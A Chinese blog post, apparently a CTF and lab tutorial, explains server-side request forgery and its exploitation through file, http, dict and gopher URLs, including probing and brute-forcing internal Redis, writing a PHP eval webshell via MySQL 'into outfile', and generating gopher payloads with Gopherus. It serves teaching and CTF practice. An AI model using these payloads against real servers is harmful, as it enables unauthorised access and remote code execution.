SSRF简述

SSRF(Server-Side Request Forgery,服务端请求伪造)是一种安全漏洞,攻击者可以利用它来发送恶意请求,通常是从受信任的服务器端发起。攻击者利用这个漏洞可以访问服务器内部的资源、绕过防火墙、执行内部网络扫描、利用内部系统等

假设有一个网站允许用户通过输入一个URL来获取远程服务器上的图片并显示在网页上。网站的后端处理用户的输入,然后从指定的URL下载图片并显示在网页上。

以piakchu举例:

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制

导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

数据流:攻击者----->服务器---->目标地址

file_get_contents()
fsockopen()
curl_exec()

存在ssrf站点主要利用四个协议,分别是 file ,http ,dict , gopher

file
file协议主要用于访问本地计算机中的文件
http://examplesite/ssrf.php?url=file://127.0.0.1/flag.php

http
http可以访问其他内网IP的服务器,也可以做任意URL跳转
http://examplesite/ssrf.php?url=http://www.baidu.com 

dict
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF中如果可以使用dict协议那么就可以轻易的获取目标服务器端口上运行的服务版本等信息。
http://examplesite/ssrf.php?url=dict://127.0.0.1:3306/info

尝试访问:http://192.168.112.188/security/ssrf.php?url=dict://dict.org:2628/help 可查看DICT字典服务器的帮助信息
或使用:http://192.168.112.188/security/ssrf.php?url=dict://dict.org:2628/define * hello 查看hello单词字典
或指定字典进行查询:如define easton security 在字典easton中查询单词security

尝试利用dict协议来爆破redis密码:ssrf.php?url=dict://192.168.112.188:6379/info
或:auth:admin123  或 set:name:woniu 等进行深入操作,包括注入木马等操作。

gopher
Gopher是一种分布式的文档传递服务,允许用户无缝地探索、搜索和检索存储在不同位置的信息。尽管它主要用于传输文本信息,但由于其能够构造各种HTTP请求包,因此在安全漏洞利用中,特别是在SSRF漏洞利用中,Gopher经常被用作一种多功能的工具。通过利用SSRF漏洞,攻击者可以利用Gopher发送定制的请求,从受害者服务器内部向目标网络中的其他服务发送请求,以获取敏感信息或执行未经授权的操作
gopher协议的格式通常为:
gopher://hostname:port/请求方法(get、post等)/path
http://examplesite/ssrf.php?url=gopher://127.0.0.1:3333/_test
https://blog.csdn.net/jklbnm12/article/details/121184897

file可前去这篇查找 :php-伪协议练习 – 摘星怪's blog

eg1:

登录框,万能密码行不通,注册一下,抓包,登陆进去

 存在任意用户注册

 登录admin用户

构造一下payload:这里的_后面进行 url编码,发包,然后在进行base解码就行了  

 mysql

登陆框,抓包这里直接看到url? gopher协议通吃

服务器是linux, 工具写shell  

select "<?php @eval($_POST['ikun']);?>" into outfile '/var/www/html/kun.php';

ssrf用redis写shell

打开就是一个源码,尝试一下,可以打

写入shell  ,访问shell.php

题目;DASCTF X GFCTF 2024; CTFSHOW

工具:GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值